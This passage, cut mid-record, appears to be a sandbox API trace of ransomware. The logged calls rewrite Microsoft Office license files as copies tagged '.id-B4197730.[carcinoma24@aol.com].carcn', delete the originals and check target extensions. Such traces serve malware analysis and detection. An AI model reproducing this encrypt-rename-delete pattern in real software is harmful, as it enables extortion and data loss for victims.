dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.483] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.483] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.484] GetLastError () returned 0x0 [0286.484] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0286.789] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0286.791] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.791] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0286.792] SetEndOfFile (hFile=0x540) returned 1 [0286.792] CloseHandle (hObject=0x540) returned 1 [0286.792] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.793] SetEndOfFile (hFile=0x41c) returned 1 [0286.800] CloseHandle (hObject=0x41c) returned 1 [0286.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.025] lstrlenW (lpString=".doc") returned 4 [0287.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".docx") returned 5 [0287.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.025] lstrlenW (lpString=".pdf") returned 4 [0287.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".xls") returned 4 [0287.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".xlsx") returned 5 [0287.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.025] lstrlenW (lpString=".ppt") returned 4 [0287.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.025] lstrlenW (lpString=".zip") returned 4 [0287.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".rar") returned 4 [0287.025] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".bz2") returned 4 [0287.025] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.025] lstrlenW (lpString=".7z") returned 3 [0287.026] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.026] lstrlenW (lpString=".dbf") returned 4 [0287.026] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.026] lstrlenW (lpString=".1cd") returned 4 [0287.026] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.026] lstrlenW (lpString=".jpg") returned 4 [0287.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.026] lstrlenW (lpString=".doc") returned 4 [0287.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.026] lstrlenW (lpString=".docx") returned 5 [0287.026] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.026] lstrlenW (lpString=".pdf") returned 4 [0287.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString=".xls") returned 4 [0287.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString=".xlsx") returned 5 [0287.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.027] lstrlenW (lpString=".ppt") returned 4 [0287.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.027] lstrlenW (lpString=".zip") returned 4 [0287.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString=".rar") returned 4 [0287.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString=".bz2") returned 4 [0287.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString=".7z") returned 3 [0287.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.027] lstrlenW (lpString=".dbf") returned 4 [0287.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.027] lstrlenW (lpString=".1cd") returned 4 [0287.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 87 [0287.028] lstrlenW (lpString=".jpg") returned 4 [0287.028] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.028] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.028] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34 [0287.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.029] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11609) returned 1 [0287.029] CloseHandle (hObject=0x564) returned 1 [0287.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0287.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.030] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.030] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.031] GetLastError () returned 0x0 [0287.031] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0287.033] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0287.035] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.035] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0287.035] SetEndOfFile (hFile=0x560) returned 1 [0287.035] CloseHandle (hObject=0x560) returned 1 [0287.035] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.035] SetEndOfFile (hFile=0x564) returned 1 [0287.039] CloseHandle (hObject=0x564) returned 1 [0287.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0287.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.041] lstrlenW (lpString=".doc") returned 4 [0287.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".docx") returned 5 [0287.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.042] lstrlenW (lpString=".pdf") returned 4 [0287.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".xls") returned 4 [0287.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".xlsx") returned 5 [0287.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.042] lstrlenW (lpString=".ppt") returned 4 [0287.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.042] lstrlenW (lpString=".zip") returned 4 [0287.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".rar") returned 4 [0287.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".bz2") returned 4 [0287.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString=".7z") returned 3 [0287.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.042] lstrlenW (lpString=".dbf") returned 4 [0287.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.042] lstrlenW (lpString=".1cd") returned 4 [0287.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.043] lstrlenW (lpString=".jpg") returned 4 [0287.043] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.043] lstrlenW (lpString=".doc") returned 4 [0287.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString=".docx") returned 5 [0287.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.043] lstrlenW (lpString=".pdf") returned 4 [0287.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString=".xls") returned 4 [0287.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString=".xlsx") returned 5 [0287.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.043] lstrlenW (lpString=".ppt") returned 4 [0287.043] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.043] lstrlenW (lpString=".zip") returned 4 [0287.043] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString=".rar") returned 4 [0287.043] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.043] lstrlenW (lpString=".bz2") returned 4 [0287.043] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.044] lstrlenW (lpString=".7z") returned 3 [0287.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.044] lstrlenW (lpString=".dbf") returned 4 [0287.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.044] lstrlenW (lpString=".1cd") returned 4 [0287.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0287.044] lstrlenW (lpString=".jpg") returned 4 [0287.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.044] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.044] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34 [0287.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.045] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19954) returned 1 [0287.045] CloseHandle (hObject=0x564) returned 1 [0287.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0287.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.046] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.046] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0287.047] GetLastError () returned 0x0 [0287.048] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x4df2, lpOverlapped=0x0) returned 1 [0287.050] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0287.051] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.051] WriteFile (in: hFile=0x560, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0287.051] SetEndOfFile (hFile=0x560) returned 1 [0287.052] CloseHandle (hObject=0x560) returned 1 [0287.052] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.052] SetEndOfFile (hFile=0x564) returned 1 [0287.055] CloseHandle (hObject=0x564) returned 1 [0287.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0287.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.057] lstrlenW (lpString=".doc") returned 4 [0287.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.057] lstrlenW (lpString=".docx") returned 5 [0287.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.057] lstrlenW (lpString=".pdf") returned 4 [0287.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString=".xls") returned 4 [0287.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString=".xlsx") returned 5 [0287.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.058] lstrlenW (lpString=".ppt") returned 4 [0287.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.058] lstrlenW (lpString=".zip") returned 4 [0287.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString=".rar") returned 4 [0287.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString=".bz2") returned 4 [0287.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString=".7z") returned 3 [0287.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.058] lstrlenW (lpString=".dbf") returned 4 [0287.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.058] lstrlenW (lpString=".1cd") returned 4 [0287.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.058] lstrlenW (lpString=".jpg") returned 4 [0287.059] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.059] lstrlenW (lpString=".doc") returned 4 [0287.059] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString=".docx") returned 5 [0287.059] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.059] lstrlenW (lpString=".pdf") returned 4 [0287.059] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString=".xls") returned 4 [0287.059] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString=".xlsx") returned 5 [0287.059] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.059] lstrlenW (lpString=".ppt") returned 4 [0287.059] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.059] lstrlenW (lpString=".zip") returned 4 [0287.059] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString=".rar") returned 4 [0287.059] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.059] lstrlenW (lpString=".bz2") returned 4 [0287.060] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.060] lstrlenW (lpString=".7z") returned 3 [0287.060] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.060] lstrlenW (lpString=".dbf") returned 4 [0287.060] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.060] lstrlenW (lpString=".1cd") returned 4 [0287.060] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0287.060] lstrlenW (lpString=".jpg") returned 4 [0287.060] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.060] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.060] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31 [0287.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.061] GetFileSizeEx (in: hFile=0x564, 